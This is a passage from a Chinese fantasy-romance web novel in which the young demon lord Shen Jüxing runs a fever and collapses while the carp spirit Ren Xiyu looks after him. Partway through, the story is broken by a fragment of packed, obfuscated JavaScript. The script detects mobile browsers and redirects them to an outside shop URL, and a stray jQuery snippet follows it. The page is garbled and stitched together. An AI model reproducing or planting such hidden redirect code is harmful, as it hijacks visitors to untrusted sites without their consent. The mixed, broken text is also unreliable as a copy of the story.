沈掬星窝在被子里,脑海中不断闪过她的双眸和那句“我的糖都给你吃”。

    他猛地咳嗽起来,好似这般就能将它们赶走,显然,这是无用功。

    听到动静,殿外守着的侍卫敲了敲门,低声询问少主可有事,沈掬星提高声音回了声无事。

    名为纺织娘的小虫藏在草丛中“吱吱”地叫,与回忆交织作一团,像是在挑衅。

    没想到这小锦鲤妖这么有手段,知道他善良心软,故意用那种表情看他,限制他的脚步!

    晚上被她直愣愣盯着,他大脑一片空白,根本说不出拒绝的话。

    看来明日要换作他翘掉邢宿他们的约了。虽然他并不担心他们在背后如何“揣测”他,因为他所谓“想一出是一出”的做事风格已经持续多年了。

    沈掬星感觉身上冒出一股股火气,快要将他全身的血液蒸干。

    果真是被任奚雨气到了。他愤愤地想。

    ……

    晨光熹微。

    任奚雨将信纸上丝线系紧,以掌心托着信鸟向外送了送。

    有引踪符在,她并不担心信会送不到,但她担心信抵达晚了会让俞烨哥哥白安顿一通,是以还是决定早早将信送出去。

    她在心中写这段时间表亲家有些事要忙,她无法再应他邀约,想来能够理解她。

    虽不知他信与否。

    天色尚早,耐不住困意,做完这些她复又上榻睡了个回笼觉,待再次睡眼惺忪地从床上坐起来时,殿外是与往日截然不同的吵闹。

    她揉了揉眼,有些不明所以。

    侍女听到殿中传出细碎声响,快步进来询问是否需要梳洗。

    因着任奚雨还要在妖宫住上些时日,那日妖君派来陪她游玩的侍女现今已专门在和臻殿侍奉,与她的贴身侍女无异。

    大约是刚睡醒,反应尚且迟钝的缘故,任奚雨先是摇头,过了几息又点点头,说:“麻烦你帮我梳头发。”

    扎头发这件事对她来说还是太过困难,但楹枝梳的头发很好看。

    楹枝边为她将床帐拉开,边回应道这是自己该做的。

    任姑娘总是说自己来这儿是赎罪的,然而君上与少主的态度哪里是将她当做仇人?尤其是君上,简直要将她当做女儿,既如此,无论怎样也合该以客人来对待任姑娘。

    且私心来说,任姑娘为客,她为侍女,任姑娘却总以友善对待自己,她便也更愿对这位姑娘好些。

    任奚雨自觉走到梳妆台前坐下,任由楹枝摆弄她的头发。

    “外面发生什么了?方才很多人在说话。”她打了个哈欠,眼角沁出几点泪花,被她随意抹去。

    提及此事,楹枝面色略有为难。

    “是少主今晨发烧了,下人请了大夫过来。”

    宫中谁人不知少主身体向来健朗,连年幼时都不曾感冒发烧,更不必说这些年少主于修炼一途极为刻苦,突如其来的发烧实乃所有人预料之外,是以下人瞬间乱作一团。

    不过楹枝没说的是,方才她去察看下人是否请了医师时,少主挣扎着告诉她,不能将此事告知任姑娘,但两座宫殿挨得这样近,任姑娘想不知道都难。

    正如此刻,任奚雨一听沈掬星发烧,面上困意顿时消散的一干二净,说要去看看他如何了。

    “姑娘莫担心,医师已经来了,待将头发梳好再去罢。”楹枝轻言安抚,任奚雨只好点点头。

    头发束好后,任奚雨迫不及待站起身,快步往沈掬星殿中去,走出殿门时差点摔倒,又赶忙提起裙身。

    走到寝殿中时,医师刚巧嘱咐完注意事项,下人跟着出去煎药,跟随任奚雨而来的楹枝见状也退了出去,一时间殿中只剩他们二人。

    见到任奚雨出现在自己床边,沈掬星咬着牙问她为何会来。任奚雨歪着脑袋,对此极为不解:“你生病了呀,我来看看你。”

    她今日罕见地穿着一身红衣,额间坠着红坠子,头发与往日不同,明显是精心梳理过的,与躺在床上、面色苍白的沈掬星截然不同,用沈掬星心中的想法来说就是:她像是来为他送终的。

    果然是来气他的。

    显然以任奚雨的锦鲤脑袋是意识不到这些的,反而眼睛一眨不眨地盯着他看。

    沈掬星被她的眼神看得有些发毛,语气不善地问她看什么。

    任奚雨指了指他,又指了指自己的脑袋,他顺着她手指的方向抚去,在发间摸到一对毛茸茸的物件。

    “……?”

    只一瞬间,被子没过他发顶,耳边响起他发闷的声音:“不许看了!”

    这这这,怎么没人告诉他他的耳朵漏出来了!他的一世英名就毁在今日了!他顺手往下,果然,尾巴也没遮住。

    任奚雨却极为遗憾似的叹了口气。

    “为什么呀?耳朵毛茸茸的很可爱呀,我就没有。”她还从未见过少主大人这副模样的,不过有了耳朵的少主不像小狼,倒像呲牙的小狗。

    嗯……不过此刻他脸色白得像白纸,与平日相比显得脆弱极了,应当叫病弱还要呲牙的小狗。

    这些话她不敢说出来,否则少主大人定是要生气的。

    原本就因生病而迟钝的大脑在听到她的话后更加无法思考。

    沈掬星说不出话,只能感觉方才略有好转的体温此刻又急剧上升。

    看来他当真要远离任奚雨了。

    任奚雨给自己挪来一个凳子,坐在床边,撑着下巴静静瞧那团一动不动的锦被。她想,既然少主大人病得这样严重,今晨他们便不能去君上那儿吃早饭了。虽然她并未生病,但总归不能将少主一个人抛下。

    她不说话,沈掬星便也不说话,殿中维持着尴尬的沉默,过了许久,久到任奚雨觉得自己都要睡着了的时候,她轻声问:“少主大人,你睡着了吗?”

    “没有。”被子下传出的声音裹着浓浓的鼻音,让她想到自己年幼时哭过后也是这般。

    殿门被人轻轻敲响,任奚雨回头,是楹枝。

    思及任姑娘尚未吃东西,楹枝去小厨房要了两碟点心来。她将点心置在桌上,任奚雨朝她弯弯眼睛。

    “谢谢楹枝。”

    妖宫的厨子做的点心格外合任奚雨的胃口,厨子知道这件事后十分欣喜。要知道,因着妻子喜爱甜食,他最拿手的就是各式各样的点心,奈何妖宫只有君上与少主二人,向来不爱这类甜食,他的技艺便无处施展。

    好在任姑娘来了,他就知道会有人赏识自己的。

    是以方才楹枝去要点心,厨子瞬间猜出是谁要吃,风风火火做了两碟卖相极佳的点心出来。

    点心送进来,楹枝很快再次离开。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631968|206402||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >任奚雨捏起糕点往嘴里送,一块下肚,她伸出舌尖悄悄舔了舔唇,而后才道:“话说,少主大人,你是怎么突然发烧的呢?”话落立刻拿起第二块点心。

    被子微不可察地动了几动。

    沈掬星感到自己的身体在颤抖,并非是因生病,而是因为羞耻。

    怎么发烧的?这要他怎么回答,难道说,是昨天睡觉时火气太大,觉得太热,所以没盖被子?还是告诉她,他甚至不满足于此,还掐诀把自己身上的热量驱散了?

    这些事如若放在其他人身上,沈掬星定是要嘲笑那人愚蠢,可现在做出这些事的人偏偏是他自己。

    他不知该如何回答,抿着唇不出声,殿中只余点心的酥皮落在盘中的“窣窣”声。任奚雨用那只没有沾油的手扯了扯他的被子:“少主大人,你说话呀!”

    沈掬星烦躁地揉了揉头发,而后随便胡诌了个理由。

    “应该是这几日没休息好,要忙的事有些多。”他如是回答。、

    床边的小锦鲤讶然眨了眨眼。

    是这样吗?她记得君上说的是他每天出去玩来着。算了,少主大人说怎样就是怎样吧,没准他出去真的是调查民生呢。

    “啊——”她声音轻轻的、慢吞吞的,“那少主大人你还是多休息休息吧,你看起来很虚弱。”

    这话像是触碰到了沈掬星的逆鳞,又或者是生病的人都会比较敏感,被子被大力掀开,露出他那张被闷红的脸。

    “我一点都不虚弱。”他表情很臭,脸颊边乱糟糟的发丝彰显出它的主人此刻心情非常不好。

    任奚雨有些害怕,因为少主大人不知受了什么刺激,忽然挣扎着下床穿好外套,提着剑要向她证明他一点也不虚弱。

    可是他连路都走不稳啊!

    她飞快将手擦干净,想要制止他的动作,然而沈掬星侧身躲过她伸过来的手,嘴硬道:“不用扶我,我自己能走。”

    任奚雨欲哭无泪。她不是想扶他过去,而是想把他拽回床上去啊!少主大人究竟是要干嘛呀!

    殿外的侍卫侍女们不知发生了什么,只知道少主拖着病弱的身子,倔强地、一步一步地走到院子中央,而任姑娘面色惊恐地追在后面,嘴里喊着不可以。

    而下一瞬,院中所有人都瞪大了双眼,因为他们的少主大人,忽然一板一眼对着空气练起了剑,可他分明脚步虚浮,教人觉得马上就要栽倒在地。

    任奚雨想要上前去,又怕被他歪七扭八的剑术刺伤,只能在旁边干着急,心中祈求少主大人能够快些结束这场闹剧。

    好消息是,少主大人真的很快停下动作了。

    坏消息是少主大人直接晕倒了!

    剑落在地上,发出一阵叮呤咣啷的响声。她大脑尚未反应过来,身体率先作出反应,快速上前接住他,但两人力量悬殊,她自己也被沈掬星带倒,双膝一下子砸在地上。

    有些痛,可她眼下实在顾及不了,因为沈掬星已双目紧闭,没有一点反应。她被吓出眼泪,使劲晃着他,哽咽得说少主大人不要死。

    侍人们蜂拥而上,手忙脚乱将少主抬进寝殿。

    失去意识之前,沈掬星依偎在任奚雨怀中,心想,这下丢人丢得更大发了,他直接找根麻绳上吊得了。

    不过小锦鲤哭什么,他只是发烧,还没打算死啊……